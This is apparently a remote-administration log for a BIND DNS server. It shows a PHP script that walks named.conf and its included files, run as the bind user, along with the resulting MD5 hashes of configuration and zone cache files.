MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:19:00: Establishing a connection
2026-04-23 18:19:01: 

PUT: /tmp/pkp899502

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:19:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp899502; rm /tmp/pkp899502'

2026-04-23 18:19:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
